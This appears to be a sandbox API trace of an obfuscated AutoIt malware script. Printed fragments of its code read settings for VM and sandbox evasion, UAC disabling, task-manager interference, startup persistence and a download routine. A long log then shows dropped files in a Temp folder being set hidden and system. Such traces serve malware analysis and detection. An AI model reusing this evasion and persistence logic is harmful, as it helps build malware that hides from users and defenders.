$7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D188DF40", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D188DF40E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.220] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.220] CharUpperBuffW (in: lpsz="FileSetAttrib", cchLength=0xd | out: lpsz="FILESETATTRIB") returned 0xd [0078.221] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0078.221] GetFileAttributesW (lpFileName="*.*" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\*.*")) returned 0xffffffff [0078.221] FindFirstFileW (in: lpFileName="*.*", lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 0x81f970 [0078.221] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.221] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.221] GetFileAttributesW (lpFileName="abe.ppt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\abe.ppt")) returned 0x20 [0078.221] SetFileAttributesW (lpFileName="abe.ppt", dwFileAttributes=0x23) returned 1 [0078.222] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.222] GetFileAttributesW (lpFileName="alx.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\alx.docx")) returned 0x20 [0078.222] SetFileAttributesW (lpFileName="alx.docx", dwFileAttributes=0x23) returned 1 [0078.222] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.222] GetFileAttributesW (lpFileName="chq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\chq.mp3")) returned 0x20 [0078.222] SetFileAttributesW (lpFileName="chq.mp3", dwFileAttributes=0x23) returned 1 [0078.222] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.222] GetFileAttributesW (lpFileName="csn.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\csn.mp4")) returned 0x20 [0078.222] SetFileAttributesW (lpFileName="csn.mp4", dwFileAttributes=0x23) returned 1 [0078.222] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.222] GetFileAttributesW (lpFileName="dbb.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\dbb.jpg")) returned 0x20 [0078.222] SetFileAttributesW (lpFileName="dbb.jpg", dwFileAttributes=0x23) returned 1 [0078.223] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.223] GetFileAttributesW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico")) returned 0x20 [0078.223] SetFileAttributesW (lpFileName="ddt.ico", dwFileAttributes=0x23) returned 1 [0078.223] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.223] GetFileAttributesW (lpFileName="duw.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\duw.pdf")) returned 0x20 [0078.223] SetFileAttributesW (lpFileName="duw.pdf", dwFileAttributes=0x23) returned 1 [0078.223] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.223] GetFileAttributesW (lpFileName="evp.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\evp.dat")) returned 0x20 [0078.223] SetFileAttributesW (lpFileName="evp.dat", dwFileAttributes=0x23) returned 1 [0078.224] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.224] GetFileAttributesW (lpFileName="fbp.icm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fbp.icm")) returned 0x20 [0078.224] SetFileAttributesW (lpFileName="fbp.icm", dwFileAttributes=0x23) returned 1 [0078.224] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.224] GetFileAttributesW (lpFileName="fpj.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fpj.pdf")) returned 0x20 [0078.224] SetFileAttributesW (lpFileName="fpj.pdf", dwFileAttributes=0x23) returned 1 [0078.224] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.224] GetFileAttributesW (lpFileName="fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe")) returned 0x20 [0078.224] SetFileAttributesW (lpFileName="fsk.exe", dwFileAttributes=0x23) returned 1 [0078.224] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.224] GetFileAttributesW (lpFileName="fxw.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fxw.dat")) returned 0x20 [0078.224] SetFileAttributesW (lpFileName="fxw.dat", dwFileAttributes=0x23) returned 1 [0078.225] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.225] GetFileAttributesW (lpFileName="ggu.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ggu.bmp")) returned 0x20 [0078.225] SetFileAttributesW (lpFileName="ggu.bmp", dwFileAttributes=0x23) returned 1 [0078.225] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.225] GetFileAttributesW (lpFileName="grd.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\grd.mp3")) returned 0x20 [0078.225] SetFileAttributesW (lpFileName="grd.mp3", dwFileAttributes=0x23) returned 1 [0078.225] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.225] GetFileAttributesW (lpFileName="gxt.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\gxt.docx")) returned 0x20 [0078.225] SetFileAttributesW (lpFileName="gxt.docx", dwFileAttributes=0x23) returned 1 [0078.225] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.225] GetFileAttributesW (lpFileName="huf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\huf.dat")) returned 0x20 [0078.225] SetFileAttributesW (lpFileName="huf.dat", dwFileAttributes=0x23) returned 1 [0078.226] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.226] GetFileAttributesW (lpFileName="iqg.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\iqg.mp4")) returned 0x20 [0078.226] SetFileAttributesW (lpFileName="iqg.mp4", dwFileAttributes=0x23) returned 1 [0078.226] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.226] GetFileAttributesW (lpFileName="jwm.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\jwm.jpg")) returned 0x20 [0078.226] SetFileAttributesW (lpFileName="jwm.jpg", dwFileAttributes=0x23) returned 1 [0078.226] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.226] GetFileAttributesW (lpFileName="kcj.icm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\kcj.icm")) returned 0x20 [0078.226] SetFileAttributesW (lpFileName="kcj.icm", dwFileAttributes=0x23) returned 1 [0078.226] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.226] GetFileAttributesW (lpFileName="kcp.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\kcp.dat")) returned 0x20 [0078.226] SetFileAttributesW (lpFileName="kcp.dat", dwFileAttributes=0x23) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.227] GetFileAttributesW (lpFileName="khj.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\khj.jpg")) returned 0x20 [0078.227] SetFileAttributesW (lpFileName="khj.jpg", dwFileAttributes=0x23) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.227] GetFileAttributesW (lpFileName="lqw.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lqw.docx")) returned 0x20 [0078.227] SetFileAttributesW (lpFileName="lqw.docx", dwFileAttributes=0x23) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.227] GetFileAttributesW (lpFileName="lug.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lug.docx")) returned 0x20 [0078.227] SetFileAttributesW (lpFileName="lug.docx", dwFileAttributes=0x23) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.227] GetFileAttributesW (lpFileName="lvi.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lvi.bmp")) returned 0x20 [0078.227] SetFileAttributesW (lpFileName="lvi.bmp", dwFileAttributes=0x23) returned 1 [0078.228] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.228] GetFileAttributesW (lpFileName="mfj.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\mfj.pdf")) returned 0x20 [0078.228] SetFileAttributesW (lpFileName="mfj.pdf", dwFileAttributes=0x23) returned 1 [0078.228] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.228] GetFileAttributesW (lpFileName="muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm")) returned 0x20 [0078.228] SetFileAttributesW (lpFileName="muu=ksm", dwFileAttributes=0x23) returned 1 [0078.228] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.228] GetFileAttributesW (lpFileName="mwq.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\mwq.xl")) returned 0x20 [0078.228] SetFileAttributesW (lpFileName="mwq.xl", dwFileAttributes=0x23) returned 1 [0078.228] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.228] GetFileAttributesW (lpFileName="nbs.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nbs.xl")) returned 0x20 [0078.228] SetFileAttributesW (lpFileName="nbs.xl", dwFileAttributes=0x23) returned 1 [0078.229] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.229] GetFileAttributesW (lpFileName="nfp.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nfp.bmp")) returned 0x20 [0078.229] SetFileAttributesW (lpFileName="nfp.bmp", dwFileAttributes=0x23) returned 1 [0078.229] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.229] GetFileAttributesW (lpFileName="nil.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nil.pdf")) returned 0x20 [0078.229] SetFileAttributesW (lpFileName="nil.pdf", dwFileAttributes=0x23) returned 1 [0078.229] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.229] GetFileAttributesW (lpFileName="nit.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nit.pdf")) returned 0x20 [0078.229] SetFileAttributesW (lpFileName="nit.pdf", dwFileAttributes=0x23) returned 1 [0078.229] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.229] GetFileAttributesW (lpFileName="nkp.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nkp.xl")) returned 0x20 [0078.229] SetFileAttributesW (lpFileName="nkp.xl", dwFileAttributes=0x23) returned 1 [0078.229] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.229] GetFileAttributesW (lpFileName="plk.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\plk.mp4")) returned 0x20 [0078.230] SetFileAttributesW (lpFileName="plk.mp4", dwFileAttributes=0x23) returned 1 [0078.230] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.230] GetFileAttributesW (lpFileName="pvg.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\pvg.pdf")) returned 0x20 [0078.230] SetFileAttributesW (lpFileName="pvg.pdf", dwFileAttributes=0x23) returned 1 [0078.230] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.230] GetFileAttributesW (lpFileName="qms.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\qms.xl")) returned 0x20 [0078.230] SetFileAttributesW (lpFileName="qms.xl", dwFileAttributes=0x23) returned 1 [0078.230] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.230] GetFileAttributesW (lpFileName="ree.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ree.jpg")) returned 0x20 [0078.230] SetFileAttributesW (lpFileName="ree.jpg", dwFileAttributes=0x23) returned 1 [0078.230] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.230] GetFileAttributesW (lpFileName="rxi.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\rxi.mp3")) returned 0x20 [0078.230] SetFileAttributesW (lpFileName="rxi.mp3", dwFileAttributes=0x23) returned 1 [0078.231] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.231] GetFileAttributesW (lpFileName="sst.ppt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\sst.ppt")) returned 0x20 [0078.231] SetFileAttributesW (lpFileName="sst.ppt", dwFileAttributes=0x23) returned 1 [0078.231] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.231] GetFileAttributesW (lpFileName="svl.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svl.mp3")) returned 0x20 [0078.231] SetFileAttributesW (lpFileName="svl.mp3", dwFileAttributes=0x23) returned 1 [0078.231] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.231] GetFileAttributesW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3")) returned 0x20 [0078.231] SetFileAttributesW (lpFileName="svq.mp3", dwFileAttributes=0x23) returned 1 [0078.231] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.231] GetFileAttributesW (lpFileName="ten.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ten.jpg")) returned 0x20 [0078.231] SetFileAttributesW (lpFileName="ten.jpg", dwFileAttributes=0x23) returned 1 [0078.232] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.232] GetFileAttributesW (lpFileName="tqx.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tqx.dat")) returned 0x20 [0078.232] SetFileAttributesW (lpFileName="tqx.dat", dwFileAttributes=0x23) returned 1 [0078.232] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.232] GetFileAttributesW (lpFileName="tre.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tre.bmp")) returned 0x20 [0078.232] SetFileAttributesW (lpFileName="tre.bmp", dwFileAttributes=0x23) returned 1 [0078.232] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.232] GetFileAttributesW (lpFileName="trh.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\trh.txt")) returned 0x20 [0078.232] SetFileAttributesW (lpFileName="trh.txt", dwFileAttributes=0x23) returned 1 [0078.232] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.232] GetFileAttributesW (lpFileName="trq.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\trq.ico")) returned 0x20 [0078.232] SetFileAttributesW (lpFileName="trq.ico", dwFileAttributes=0x23) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.233] GetFileAttributesW (lpFileName="unh.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\unh.txt")) returned 0x20 [0078.233] SetFileAttributesW (lpFileName="unh.txt", dwFileAttributes=0x23) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.233] GetFileAttributesW (lpFileName="upl.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\upl.dat")) returned 0x20 [0078.233] SetFileAttributesW (lpFileName="upl.dat", dwFileAttributes=0x23) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.233] GetFileAttributesW (lpFileName="uvx.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\uvx.jpg")) returned 0x20 [0078.233] SetFileAttributesW (lpFileName="uvx.jpg", dwFileAttributes=0x23) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.234] GetFileAttributesW (lpFileName="vch.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vch.xl")) returned 0x20 [0078.234] SetFileAttributesW (lpFileName="vch.xl", dwFileAttributes=0x23) returned 1 [0078.234] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.234] GetFileAttributesW (lpFileName="vfn.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vfn.docx")) returned 0x20 [0078.234] SetFileAttributesW (lpFileName="vfn.docx", dwFileAttributes=0x23) returned 1 [0078.234] FindNextFileW (in: hFindFile=0x81f970, lpFindFileData=0x76ee40 | out: lpFindFileData=0x76ee40) returned 1 [0078.234] GetFileAttributesW (lpFileName="vxa.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vxa.docx")) returned 0x20 [0078.234] SetFileAttributesW (lpFileName="vxa.docx", dwFileAttributes=0x23) returned 1 [0078.234] FindNextFileW (in: hFindFile=0x81f970, 